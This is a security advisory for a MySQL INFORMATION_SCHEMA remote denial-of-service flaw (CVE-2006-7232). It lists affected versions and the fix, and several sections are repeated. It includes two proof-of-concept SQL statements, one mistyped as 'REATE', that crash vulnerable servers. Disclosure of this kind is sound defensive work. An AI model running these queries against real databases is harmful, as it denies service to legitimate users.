MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
BID:28351
Info
MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
| Bugtraq ID: | 28351 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2006-7232 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 05 2007 12:00AM |
| Updated: | May 21 2008 09:04PM |
| Credit: | Masaaki HIROSE is credited with the discovery of this vulnerability. |
| Vulnerable: |
Ubuntu Ubuntu Linux 6.10 sparc Ubuntu Ubuntu Linux 6.10 powerpc Ubuntu Ubuntu Linux 6.10 i386 Ubuntu Ubuntu Linux 6.10 amd64 Ubuntu Ubuntu Linux 6.06 LTS sparc Ubuntu Ubuntu Linux 6.06 LTS powerpc Ubuntu Ubuntu Linux 6.06 LTS i386 Ubuntu Ubuntu Linux 6.06 LTS amd64 Redhat Enterprise Linux Desktop Workstation 5 client Redhat Enterprise Linux Desktop 5 client Redhat Enterprise Linux 5 server MySQL AB MySQL 5.1.13 MySQL AB MySQL 5.1.12 MySQL AB MySQL 5.1.11 MySQL AB MySQL 5.1.10 MySQL AB MySQL 5.1.9 MySQL AB MySQL 5.1.6 MySQL AB MySQL 5.1.5 MySQL AB MySQL 5.0.27 MySQL AB MySQL 5.0.24 MySQL AB MySQL 5.0.22 -1-0.1 MySQL AB MySQL 5.0.22 MySQL AB MySQL 5.0.21 MySQL AB MySQL 5.0.20 MySQL AB MySQL 5.0.19 MySQL AB MySQL 5.0.18 MySQL AB MySQL 5.0.4 MySQL AB MySQL 5.0.3 MySQL AB MySQL 5.0.2 MySQL AB MySQL 5.0.1 MySQL AB MySQL 5.0 .0-alpha MySQL AB MySQL 5.0 .0-0 MySQL AB MySQL 5.0 |
| Not Vulnerable: |
MySQL AB MySQL 5.1.14 MySQL AB MySQL 5.0.32 |
Discussion
MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.
An attacker can exploit this issue to crash the application, denying access to legitimate users.
NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be done through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
This issue affects versions prior to MySQL 5.0.32 and 5.1.14.
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.
An attacker can exploit this issue to crash the application, denying access to legitimate users.
NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be done through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
This issue affects versions prior to MySQL 5.0.32 and 5.1.14.
Exploit / POC
MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
The following proof-of-concept statements are available:
1.
REATE OR REPLACE VIEW test_view AS
SELECT
table_schema AS object_schema
,table_name AS object_name
,table_type AS object_type
FROM information_schema.tables
ORDER BY object_schema;
EXPLAIN SELECT * FROM test_view;
2.
explain select * from (select table_name from information_schema.tables ) AS a;
The following proof-of-concept statements are available:
1.
REATE OR REPLACE VIEW test_view AS
SELECT
table_schema AS object_schema
,table_name AS object_name
,table_type AS object_type
FROM information_schema.tables
ORDER BY object_schema;
EXPLAIN SELECT * FROM test_view;
2.
explain select * from (select table_name from information_schema.tables ) AS a;
Solution / Fix
MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
Solution:
The vendor has released updates. Please see the references for more information.
Solution:
The vendor has released updates. Please see the references for more information.
References
MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
References:
References: